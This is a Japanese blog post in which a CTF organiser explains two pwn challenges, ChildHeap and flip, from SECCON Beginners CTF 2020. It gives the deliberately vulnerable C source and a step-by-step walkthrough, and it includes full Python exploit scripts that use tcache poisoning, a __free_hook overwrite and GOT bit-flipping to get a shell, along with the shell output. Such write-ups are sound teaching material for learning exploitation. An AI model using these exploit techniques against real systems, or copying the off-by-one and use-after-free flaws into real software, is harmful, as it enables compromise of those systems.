つれづれなる備忘録

CTF関連の事やその他諸々

SECCON Beginners CTF 2020 作問(ChildHeap, flip)

SECCON Beginners CTF 2020 に参加してくださった皆様、ありがとうございました。
今回私は、pwn 問題の中難易度と高難易度の問題、flip と ChildHeap を作問しました。

前者は pwn ある程度慣れた人がやっとこさっとこ解けるレベル、後者は絶対参加してくるであろうプロに対して用意したレベル、という想定でした。
が、何故か解いたチーム数は想定とは逆転してしまいました。
なんでだ

ここでは、それぞれの問題の解説および解法を載せます。

...ブログ一年ぶりの更新です。


ChildHeap (Pwn 473pt, 7 solves)

Last year, I was a baby...
file

nc childheap.quals.beginners.seccon.jp 22476

去年の SECCON Beginners CTF 2019 で出題した BabyHeap を踏襲している問題です。
単一のエントリしか持たないメモで、追加・削除の機能があります。

libc のアドレスのプレゼントは廃止とし、利用する libc を バージョン 2.27 から 2.29 へとアップしました。

ソースコード

// gcc childheap.c -o childheap
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BUF_SIZE 0x30

static int menu(void);
static int getnline(char *buf, unsigned size);
static int getint(void);

__attribute__((constructor))
int init(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    return 0;
}

int main(void){
    int n;
    unsigned size;
    char *content = NULL;

    printf( "Welcome to childheap 2020\n\n"
            "Last year, I was a baby...\n"
            "Now I'm not a baby but a child!!!\n");

    while(n = menu()){
        char buf[4] = {};
        switch(n){
            case 1:
                if(content){
                    puts("No Space!!");
                    break;
                }

                printf("Input Size: ");
                if((size = getint()) > 0x180){
                    puts("Too Big!!");
                    break;
                }

                content = malloc(size);
                printf("Input Content: ");
                getnline(content, size);
                break;
            case 2:
                printf("Content: '%s'\nRemove? [y/n] ", content);
                getnline(buf, sizeof(buf)-1);
                if(buf[0] == 'y')
                    free(content);
                break;
            case 3:
                content = NULL;
                break;
        }
    }
    return 0;
}

static int menu(void){
    printf( "\nMENU\n"
            "1. Alloc\n"
            "2. Delete\n"
            "3. Wipe\n"
            "0. Exit\n"
            "> ");

    return getint();
}

static int getnline(char *buf, unsigned size){
    int len;
    char *lf;

    if(!size)
        return 0;

    len = read(0, buf, size);
    buf[len] = '\0';

    if((lf=strchr(buf,'\n')))
        *lf='\0';

    return len;
}

static int getint(void){
    char buf[BUF_SIZE] = {};

    getnline(buf, sizeof(buf)-1);
    return atoi(buf);
}

解説 および 解法

このプログラムには 1. Alloc, 2. Delete, 3. Wipe の3つの機能があります。
また、Delete 機能は実際に free() を実行する前に内容の表示を行うので、実質的に Show の機能も兼ね備えています。
Delete をしても確保されたメモリのポインタは Wipe しない限り消えないので、Double Free および UAF の脆弱性があることが分かります。
ただし、libc-2.29 になったことで tcache に key のチェックが入り、単純には Double Free はできないことに留意しましょう。

Welcome to childheap 2020

Last year, I was a baby...
Now I'm not a baby but a child!!!

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 1
Input Size: 10
Input Content: hoge

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2
Content: 'hoge'
Remove? [y/n]

まずはヒープのアドレスを特定します。
指定できるサイズが最大で0x180byteなので、free したチャンクは tcache の餌食です。
メモを保持できるのは単一エントリのみであるので、普通に操作しただけでは同一サイズのチャンクを tcache のリストに繋げることはできません。
このプログラムには、もう一つの脆弱性が getnline() 関数に存在しています。
read() で指定文字列を上限に読み込んだあと、ヌルバイト埋めが 1byte だけ溢れる off-by-one error です。
これを利用すると、ヒープのチャンクサイズの下位 1byte を 0 にすることが可能です。

このように偽の 0x100 byte チャンクを作ってからfreeし、tcache のリストに繋げ、Delete 内の Show 機能を使ってアドレスをリークさせます。

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555757c30 (size : 0x203d0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x555555757ab0
(0x100)   tcache_entry[14](2): 0x555555757360 --> 0x555555757260
(0x120)   tcache_entry[16](1): 0x555555757470
(0x130)   tcache_entry[17](1): 0x555555757590
(0x140)   tcache_entry[18](1): 0x5555557576c0
(0x150)   tcache_entry[19](1): 0x555555757800
(0x160)   tcache_entry[20](1): 0x555555757950
(0x170)   tcache_entry[21](1): 0x555555757ad0

次に、libc のアドレスのリークを行います。
頑張ってチャンクを unsortedbin list に繋げましょう。
先ほど同様に 0x100 byte の偽チャンクを作っては free をして 7 つまで繋げます。
次に 0x100 byte チャンクを free すると、tcache には繋がれずサイズに応じたリストに繋がれます。
このサイズのチャンクは fastbin のサイズ上限は超えているので、unsortedbin となるでしょう。

以下のような状態から、tcache の 0x170 byte の先頭にあるチャンク 0x555555757ac0 (tcache : 0x555555757ad0) を取得してから free すれば、望む結果が得られます。
この時、PREV_INUSE が落ちているため、backward consolidate が行われます。
それを考慮して、適当なサイズの偽チャンク(ここでは0x40byte)を下位に配置しておきましょう。
また、この次で使うために、間に 0x20 byte の tcache に繋がれた free 済みチャンクを挟んでおき、オーバーラップさせます。

                  top: 0x555555757c30 (size : 0x203d0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x555555757ab0
(0x100)   tcache_entry[14](7): 0x555555757950 --> 0x555555757800 --> 0x5555557576c0 --> 0x555555757590 --> 0x555555757470 --> 0x555555757360 --> 0x555555757260
(0x170)   tcache_entry[21](1): 0x555555757ad0
gdb-peda$ x/32gx 0x555555757a60
0x555555757a60: 0x3636363636363636      0x3636363636363636
0x555555757a70: 0x3636363636363636      0x3636363636363636
0x555555757a80: 0x3636363636363636      0x0000000000000041
0x555555757a90: 0x0000555555757a80      0x0000555555757a80
0x555555757aa0: 0x0000000000000000      0x0000000000000021
0x555555757ab0: 0x0000000000000000      0x555555757010
0x555555757ac0: 0x0000000000000040      0x0000000000000100
0x555555757ad0: 0x0000000000000000      0x555555757010
0x555555757ae0: 0x0000000000000000      0x0000000000000000

上記の手順で unsortedbin に繋がれたチャンクを再度利用するため、tcache list が空の 0x38 等のサイズを指定し、malloc を行います。
これで、上記の 0x555555757a90 を先頭とするアドレスが返るため、直下の 0x555555757aa0 (tcache : 0x555555757ab0) を上書きすることができます。
このチャンクの next を main_arena 内を指しているアドレス 0x555555757ad0 に向けることで、次の malloc でそのチャンクを得て、Show で libc のアドレスをリークさせられます。
なおこの時、このチャンクを再度上書きで利用できるようにするために、サイズを 0x40(0x41) 等に改竄しておきます。

                  top: 0x555555757c30 (size : 0x203d0)
       last_remainder: 0x555555757ac0 (size : 0x100) 
            unsortbin: 0x555555757ac0 (size : 0x100)
(0x20)   tcache_entry[0](1): 0x555555757ab0 --> 0x555555757ad0 (overlap chunk with 0x555555757ac0(freed) )
(0x100)   tcache_entry[14](6): 0x555555757800 --> 0x5555557576c0 --> 0x555555757590 --> 0x555555757470 --> 0x555555757360 --> 0x555555757260
gdb-peda$ x/32gx 0x555555757a60
0x555555757a60: 0x3636363636363636      0x3636363636363636
0x555555757a70: 0x3636363636363636      0x3636363636363636
0x555555757a80: 0x3636363636363636      0x0000000000000041
0x555555757a90: 0x0000555555757a80      0x0000555555757a80
0x555555757aa0: 0x0000000000000000      0x0000000000000041
0x555555757ab0: 0x0000555555757ad0      0x555555757000
0x555555757ac0: 0x0000000000000040      0x0000000000000101
0x555555757ad0: 0x00007ffff7dcfca0      0x00007ffff7dcfca0
0x555555757ae0: 0x3737373737373737      0x3737373737373737

一旦、libc のリークに使ったチャンクを free することで、next は元の 0x100 byte tcache の先頭であった 0x555555757800 を指すことになります。
しかし、先ほどサイズを 0x40 に改竄して用意したチャンクを利用することで、この next を __free_hook (0x00007ffff7dd18e8) に向けることが可能です。
あとは、0xf8 だけ malloc すれば、2度目には目的のアドレスが返るため、__free_hook を system 関数に書き換えられます。

                  top: 0x555555757c30 (size : 0x203d0)
       last_remainder: 0x555555757ac0 (size : 0x100) 
            unsortbin: 0x555555757ac0 (doubly linked list corruption 0x555555757ac0 != 0x7ffff7dcbd60 and 0x555555757ac0 is broken)
(0x20)   tcache_entry[0](255): 0x7ffff7dcfca0 --> 0x555555757c30
(0x40)   tcache_entry[2](1): 0x555555757ab0
(0x100)   tcache_entry[14](7): 0x555555757ad0 (overlap chunk with 0x555555757aa0(freed) )
gdb-peda$ x/32gx 0x555555757a60
0x555555757a60: 0x3636363636363636      0x3636363636363636
0x555555757a70: 0x3636363636363636      0x3636363636363636
0x555555757a80: 0x3636363636363636      0x0000000000000041
0x555555757a90: 0x0000555555757a80      0x0000555555757a80
0x555555757aa0: 0x0000000000000000      0x0000000000000041
0x555555757ab0: 0x0000000000000000      0x555555757010
0x555555757ac0: 0x5a5a5a5a5a5a5a5a      0x0000000000000101
0x555555757ad0: 0x00007ffff7dd18e8      0x00007ffff7dcfc00
0x555555757ae0: 0x3737373737373737      0x3737373737373737

最後に、'/bin/sh' が置かれたアドレスを free すればシェルが立ち上がります。

Exploit

#!/usr/bin/env python3
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './childheap'
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'childheap.quals.beginners.seccon.jp', 'port':22476}
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.29.so')
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena   = offset_libc_malloc_hook + 0x10

#==========

def attack(conn, **kwargs):
    ch = ChildHeap(conn)

    for i in range(7):
        ch.alloc_delete(0xf8 + 0x10*i, str(i))
    ch.alloc_delete(0x18, 'X')
    ch.alloc_delete(0x168, '7')

    for i in range(2):
        ch.wipe()
        ch.alloc(0xf8 + 0x10*i, str(i)*(0xf8 + 0x10*i))
        ch.delete(False)

    addr_heap_base = u(ch.read()) - 0x260
    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))
    ch.wipe()

    for i in range(2, 6):
        ch.alloc_delete(0xf8 + 0x10*i, str(i)*(0xf8 + 0x10*i))

    fake_chunk  = b'6'*0x138
    fake_chunk += p64(0x41)
    fake_chunk += p64(addr_heap_base + 0xa80)
    fake_chunk += p64(addr_heap_base + 0xa80)
    ch.alloc_delete(0x158, fake_chunk)
    ch.alloc_delete(0x18, b'Y'*0x10 + p64(0x40))
    ch.alloc_delete(0x168, b'7'*0xf8 + p64(0x11)+p64(0)+p64(0x11))

    ch.alloc(0xf8, '0')
    ch.wipe()

    fake_chunk  = p64(addr_heap_base + 0xa80)
    fake_chunk += p64(addr_heap_base + 0xa80)
    fake_chunk += p64(0)
    fake_chunk += p64(0x41)
    fake_chunk += p64(addr_heap_base + 0xad0)
    ch.alloc(0x38, fake_chunk)
    ch.wipe()
    ch.alloc_delete(0, '')
    ch.alloc(0, '')

    addr_libc_mainarena = u(ch.read()) - 0x60
    libc.address        = addr_libc_mainarena - offset_libc_mainarena
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    addr_libc_system    = libc.sep_function['system']
    addr_libc_str_sh    = next(libc.search(b'/bin/sh'))
    addr_libc_free_hook = libc.symbols['__free_hook']
    ch.delete()

    ch.alloc_delete(0x38, b'Z'*0x18 + p64(0x101) + p64(addr_libc_free_hook))
    ch.alloc(0xf8, '0')
    ch.wipe()

    ch.alloc(0xf8, p64(addr_libc_system))
    ch.wipe()

    ch.alloc(0x38, '/bin/sh')
    ch.delete(False)

class ChildHeap:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def alloc(self, size, content):
        self.sendlineafter('> ', '1')
        self.sendlineafter(': ', str(size))
        if size > 0:
            self.sendafter(': ', content)

    def alloc_delete(self, size, content):
        self.alloc(size, content)
        self.delete()

    def delete(self, wipe = True):
        self.sendlineafter('> ', '2')
        self.sendlineafter('] ', 'y')
        if wipe:
            self.wipe()

    def wipe(self):
        self.sendlineafter('> ', '3')

    def read(self):
        self.sendlineafter('> ', '2')
        self.recvuntil(': \'')
        s = self.recvuntil('\'', drop=True)
        self.sendlineafter('] ', 'n')
        return s

#==========

def main():
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    comn.run(attack)
    comn.interactive()

if __name__=='__main__':
    main()

#==========

実行結果

$ ./exploit_childheap.py
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/SECCON/ctf4b/2020/childheap/childheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/yutaro/CTF/SECCON/ctf4b/2020/childheap/libc-2.29.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to childheap.quals.beginners.seccon.jp on port 22476: Done
[*] addr_heap_base    = 0x7f13c61d2000
[*] addr_libc_base    = 0x7f13c454c000
[*] Switching to interactive mode
$ ls -al
total 2176
drwxr-x---  2 root      childheap    4096 May 13 00:14 .
drwxr-xr-x 16 root      root         4096 May 20 17:28 ..
-rw-r-----  1 childheap childheap     220 Apr  5  2018 .bash_logout
-rw-r-----  1 childheap childheap    3771 Apr  5  2018 .bashrc
-rw-r-----  1 childheap childheap     807 Apr  5  2018 .profile
-rwxr-x---  1 root      childheap   12960 May 13 00:14 childheap
-rw-r-----  1 root      childheap      46 May 13 00:14 flag.txt
-rwxr-x---  1 root      childheap  179032 May 13 00:14 ld-2.29.so
-rw-r-----  1 root      childheap 2000480 May 13 00:14 libc.so.6
-rwxr-x---  1 root      childheap      58 May 13 00:14 run.sh
$ cat flag.txt
ctf4b{h34p_h45_gr0wn_1n70_4_ch1ld...r34lly??}

flip (Pwn 491pt, 3 solves)

filp, and flip!!
file

nc flip.quals.beginners.seccon.jp 17539

指定アドレスのデータを2ビットだけ反転できます。

ソースコード

// gcc flip.c -o flip
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUF_SIZE 32

static int getnline(char *buf, int len);
static long getlong(void);

__attribute__((constructor))
int init(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    return 0;
}

int main(int argc, char *argv[]){
    char* target;
    int idx;

    printf("Input address >> ");
    target = (void*)getlong();

    puts("You can flip two times!");
    for(int i=0; i<2; i++){
        printf("Which bit (0 ~ 7) >> ");
        idx = getlong();

        if(idx > 7){
            puts("invalid bit...");
            return 0;
        }

        *target ^= 1 << idx;
    }
    puts("Done!");

    exit(0);
}

static int getnline(char *buf, int size){
    char *lf;
    long n;

    if(!buf || size < 1)
        return 0;

    fgets(buf, size, stdin);
    if((lf=strchr(buf, '\n')))
        *lf='\0';

    return 1;
}

static long getlong(void){
    char buf[BUF_SIZE] = {};

    getnline(buf, sizeof(buf));
    return atol(buf);
}

解説 および 解法

任意のアドレスの 2bit を反転させることが可能です。
指定する bit を負数にすれば、flip しないという選択も取れます。
しかし、これだけでは勝手が悪いので、まずは exit の GOT を書き換えて _start+6 を指すようにします。
初めはまだ exit 関数は呼ばれていないため GOT は <exit@plt>+6 (0x4006d6) を指しているので、0x4006e6 に書き換えるのは容易ですね。
こうすることで、main関数内で exit に達したときに再び _start+6 に戻り、延々と再帰し続けられることが分かります。
後々のため、 _start+6_start に書き換えます。

次に、libc アドレスのリークを目指します。
まずは setbuf の GOT を puts に向けます。
setbuf と puts は割と近いので、よほど運が悪くない限り書き換えられます。
ここは何度もトライするのは仕方がないですが、割と高確率で刺さるはずです。

$ nm -D libc-2.27.so | grep -i -e " setbuf$" -e " puts$"
00000000000809c0 W puts
00000000000884d0 T setbuf

次に、第一引数となる stderr のポインタを 8byte ほど足してずらします。
stderr をずらした先には _IO_read_ptr があるので、puts によって出力され特定ができます。

今回の書き換えは一回 (2bit) では済まないので、書き換え途中で setbuf が呼ばれないようにしなければなりません。
そこで、未利用の __stack_chk_fail の GOT を活用します。
これを main 関数の先頭に書き換え、exit の GOT を __stack_chk_fail の PLT とします。
繰り返し再帰されることには変わりありませんが、setbuf が呼ばれないようになりました。

この間に、上記の通り setbuf の GOT と stderr のポインタを書き換えます。
書き換えの後、exit の GOT を _start に戻せば setbuf が呼ばれ、libc アドレスの特定が完了します。

次に、setbuf の GOT を system に向け、stderr のポインタを /bin/sh に向けます。
上記同様、一旦 exit の GOT を __stack_chk_fail の PLT として setbuf 書き換え中のクラッシュを避け、それぞれの書き換えが終わったら _start に書き戻します。
再び setbuf が呼ばれたタイミングで、めでたくシェルが取れます。

Exploit

#!/usr/bin/env python3
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './flip'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'flip.quals.beginners.seccon.jp', 'port':17539})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        # remote  = 'libc-2.27.so')
                        remote  = None)
env.select()

#==========

binf = ELF(bin_file)
addr_got_exit       = binf.got['exit']
addr_got_stack_chk  = binf.got['__stack_chk_fail']
addr_got_setbuf     = binf.got['setbuf']
addr_plt_exit       = binf.plt['exit']
addr_plt_stack_chk  = binf.plt['__stack_chk_fail']
addr_start          = binf.sep_function['_start']
addr_main           = binf.sep_function['main']
addr_stderr         = binf.symbols['stderr']

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_setbuf      = libc.sep_function['setbuf']
offset_libc_puts        = libc.sep_function['puts']
offset_libc_stderr      = libc.symbols['_IO_2_1_stderr_']

#==========

def attack(conn, **kwargs):
    flip_byte(conn, addr_got_exit, ((addr_plt_exit+6) ^ (addr_start+6)) & 0xff)
    flip_byte(conn, addr_got_exit, 6)

    flip_qword(conn, addr_got_stack_chk, (addr_plt_stack_chk+6) ^ addr_main)

    flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

    flip_byte(conn, addr_stderr, 8)
    flip_qword(conn, addr_got_setbuf, offset_libc_setbuf ^ offset_libc_puts)

    flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

    conn.recvuntil('\n')
    conn.recvuntil('\n')
    addr_libc_stderr = u(conn.recvuntil('\n', drop=True)) - 0x83
    libc.address = addr_libc_stderr - offset_libc_stderr
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    addr_libc_puts      = libc.sep_function['puts']
    addr_libc_system    = libc.sep_function['system']
    addr_libc_str_sh    = next(libc.search(b'/bin/sh'))

    flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

    flip_qword(conn, addr_got_setbuf, addr_libc_puts ^ addr_libc_system)
    flip_qword(conn, addr_stderr, (addr_libc_stderr+8) ^ addr_libc_str_sh)

    flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff)

def flip_byte(conn, addr, flips):
    assert(flips < 0x100)

    conn.sendlineafter('address >> ', str(addr))

    n_flip = 0
    for i in range(8):
        if (flips >> i) & 1:
            conn.sendlineafter(') >> ', str(i))
            n_flip += 1
            flips ^= 1 << i
        if n_flip > 1:
            break

    if flips:
        flip_byte(conn, addr, flips)
    elif n_flip < 2:
        conn.sendlineafter(') >> ', '-1')

def flip_qword(conn, addr, flips):
    for i in range(8):
        if flips & 0xff:
            flip_byte(conn, addr + i, flips & 0xff)
        flips >>= 8

#==========

def main():
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    comn.bruteforce(attack)
    comn.interactive()

if __name__=='__main__':
    main()

#==========

実行結果

$ ./exploit_flip.py
Select Environment
['debug', 'local', 'remote'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/SECCON/ctf4b/2020/flip/flip'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to flip.quals.beginners.seccon.jp on port 17539: Done
[*] Closed connection to flip.quals.beginners.seccon.jp port 17539
[+] Opening connection to flip.quals.beginners.seccon.jp on port 17539: Done
[*] addr_libc_base    = 0x7fdd17651000
[*] Switching to interactive mode
Done!
$ ls -al
total 36
drwxr-x---  2 root flip 4096 May 13 00:11 .
drwxr-xr-x 16 root root 4096 May 20 17:28 ..
-rw-r-----  1 flip flip  220 Apr  5  2018 .bash_logout
-rw-r-----  1 flip flip 3771 Apr  5  2018 .bashrc
-rw-r-----  1 flip flip  807 Apr  5  2018 .profile
-rw-r-----  1 root flip   30 May 13 00:11 flag.txt
-rwxr-x---  1 root flip 8816 May 13 00:11 flip
$ cat flag.txt
ctf4b{l34d_b17fl1p_70_5h3ll!}